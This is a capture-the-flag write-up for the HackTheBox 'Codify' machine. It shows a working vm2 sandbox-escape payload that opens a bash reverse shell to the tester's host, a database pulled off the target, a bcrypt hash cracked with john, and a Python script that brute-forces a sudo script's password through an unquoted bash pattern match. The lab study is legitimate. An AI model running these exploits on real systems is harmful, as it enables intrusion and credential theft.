HackTheBox - Codify

Tools

  • nmap
  • netcat
  • sqlite3
  • python

Getting User

Nmap

1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿kali)-[~/HTB/Codify]
└─$ sudo nmap -sS -oA nmap/initial_scan 10.129.65.42
[sudo] password for kali:
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-11 23:31 EST
Nmap scan report for 10.129.65.42
Host is up (0.13s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp open ppp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(kali㉿kali)-[~/HTB/Codify]
└─$ sudo nmap -sC -sV -p 22,80,3000 -oA nmap/script_scan 10.129.65.42
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-11 23:32 EST
Nmap scan report for 10.129.65.42
Host is up (0.13s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_ 256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://codify.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
3000/tcp open http Node.js Express framework
|_http-title: Codify
Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.04 seconds

Foothold

add vhost to /etc/hosts

1
2
3
4
┌──(kali㉿kali)-[~]
└─$ echo "10.129.65.42 codify.htb" | sudo tee -a /etc/hosts
[sudo] password for kali:
10.129.65.42 codify.htb

Going to the site, it’s a nodejs sandbox environment which has an escape vulnerability.
With a bit of searching, I found an exploit which can be used to escape the environment https://gist.github.com/arkark/e9f5cf5782dec8321095be3e52acf5ac

Used nc to listen to port 1234 and ran the exploit to get a reverse shell

1
2
3
┌──(kali㉿kali)-[~/HTB/Codify]
└─$ nc -lnvp 1234
listening on [any] 1234 ...
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
const { VM } = require("vm2");
const vm = new VM();

const code = `
const err = new Error();
err.name = {
toString: new Proxy(() => "", {
apply(target, thiz, args) {
const process = args.constructor.constructor("return process")();
throw process.mainModule.require("child_process").execSync("bash -c 'exec bash -i &>/dev/tcp/10.10.14.6/1234 <&1'").toString();
},
}),
};
try {
err.stack;
} catch (stdout) {
stdout;
}
`;

vm.run(code);

I find the user is using pm2 to run the webserver

See running processes

1
svc@codify:~$ pm2 ps

Show information about the process

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
svc@codify:~$ pm2 desc 0
pm2 desc 0
Describing process with id 0 - name index
┌───────────────────┬───────────────────────────────────────┐
│ status │ online │
│ name │ index │
│ namespace │ default │
│ version │ N/A │
│ restarts │ 0 │
│ uptime │ 33m │
│ script path │ /var/www/editor/index.js │
│ script args │ N/A │
│ error log path │ /home/svc/.pm2/logs/index-error-0.log │
│ out log path │ /home/svc/.pm2/logs/index-out-0.log │
│ pid path │ /home/svc/.pm2/pids/index-0.pid │
│ interpreter │ node │
│ interpreter args │ N/A │
│ script id │ 0 │
│ exec cwd │ /home/svc │
│ exec mode │ cluster_mode │
│ node.js version │ 18.17.1 │
│ node env │ N/A │
│ watch & reload │ ✘ │
│ unstable restarts │ 0 │
│ created at │ 2023-09-12T17:19:27.612Z │
└───────────────────┴───────────────────────────────────────┘

Found the directory /var/www/contact
Directory contains index.js and tickets.db
Inspecting index.js, we see it saves user credentials to the db
Started a python http server to download tickets.db

1
2
3
svc@codify:/var/www/contact$ python3 -m http.server 5555
python3 -m http.server 5555
10.10.14.6 - - [12/Nov/2023 05:04:23] "GET /tickets.db HTTP/1.1" 200 -
1
2
3
4
5
6
7
8
9
10
11
12
┌──(kali㉿kali)-[~/HTB/Codify/files]
└─$ wget http://codify.htb:5555/tickets.db
--2023-11-12 00:04:32-- http://codify.htb:5555/tickets.db
Resolving codify.htb (codify.htb)... 10.129.65.42
Connecting to codify.htb (codify.htb)|10.129.65.42|:5555... connected.
HTTP request sent, awaiting response... 200 OK
Length: 20480 (20K) [application/octet-stream]
Saving to: ‘tickets.db’

tickets.db 100%[================================================================================================================>] 20.00K --.-KB/s in 0.1s

2023-11-12 00:04:33 (151 KB/s) - ‘tickets.db’ saved [20480/20480]

We get joshua user but the password is encrypted

1
2
3
4
5
6
7
8
9
┌──(kali㉿kali)-[~/HTB/Codify/files]
└─$ sqlite3 tickets.db
SQLite version 3.43.1 2023-09-11 12:01:27
Enter ".help" for usage hints.
sqlite> .tables
tickets users
sqlite> select * from users;
3|joshua|$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2
sqlite>

We use john to crack the password

1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿kali)-[~/HTB/Codify/files]
└─$ john password.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
spongebob1 (?)
1g 0:00:00:09 DONE (2023-11-12 00:15) 0.1106g/s 151.3p/s 151.3c/s 151.3C/s winston..angel123
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Now we have the following credentials which we can use to login and get the flag

1
2
joshua
spongebob1
1
2
3
joshua@codify:~$ ls
user.txt
joshua@codify:~$ cat user.txt

Getting Root

Information Gathering

sudo -l shows we have permission to run a bash script

1
2
3
4
5
6
joshua@codify:/opt/scripts$ sudo -l
Matching Defaults entries for joshua on codify:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User joshua may run the following commands on codify:
(root) /opt/scripts/mysql-backup.sh

Privilege Escalation

Reading https://mywiki.wooledge.org/BashPitfalls#A.5B_.24foo_.3D_.22bar.22_.5D, I understand that when using [[, if the right hand side of the conditional is not wrapped in quotes it will perform pattern matching when followed by *, not literal.
So we can try to brute force the password using python.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import string
import subprocess
all = list(string.ascii_letters + string.digits)
password = ""
found = False

while not found:
for character in all:
command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"
output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout

if "Password confirmed!" in output:
password += character
print(password)
break
else:
found = True

We get the password and login to root

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
joshua@codify:~$ python3 script.py
k
kl
klj
kljh
kljh1
kljh12
kljh12k
kljh12k3
kljh12k3j
kljh12k3jh
kljh12k3jha
kljh12k3jhas
kljh12k3jhask
kljh12k3jhaskj
kljh12k3jhaskjh
kljh12k3jhaskjh1
kljh12k3jhaskjh12
kljh12k3jhaskjh12k
kljh12k3jhaskjh12kj
kljh12k3jhaskjh12kjh
kljh12k3jhaskjh12kjh3

joshua@codify:~$ su
Password:
root@codify:/home/joshua# cd /root
root@codify:~# cat root.txt